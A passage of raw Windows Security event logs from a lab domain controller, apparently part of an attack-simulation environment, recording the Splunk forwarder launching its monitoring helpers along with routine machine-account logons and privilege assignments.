TaskCategory=Process Creation
OpCode=Info
RecordNumber=256969
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:59:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256971
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1070
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:59:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256970
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1084
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:59:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256974
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x48CA67

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:59:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256973
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x48CA67
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59244

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:59:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256972
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x48CA67

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:00:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256975
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x39c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:00:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256976
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x938
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:00:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256977
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x458
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:00:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256978
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3f4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:00:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256979
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x116c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:00:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256981
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:00:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256980
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x136c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:00:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256984
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x48FFD8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:00:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256983
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x48FFD8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59258

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:00:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256982
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x48FFD8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:01:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256985
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:01:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256986
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc50
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:01:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256987
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:01:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256988
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x374
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:01:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256989
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x478
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:01:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256991
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa1c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
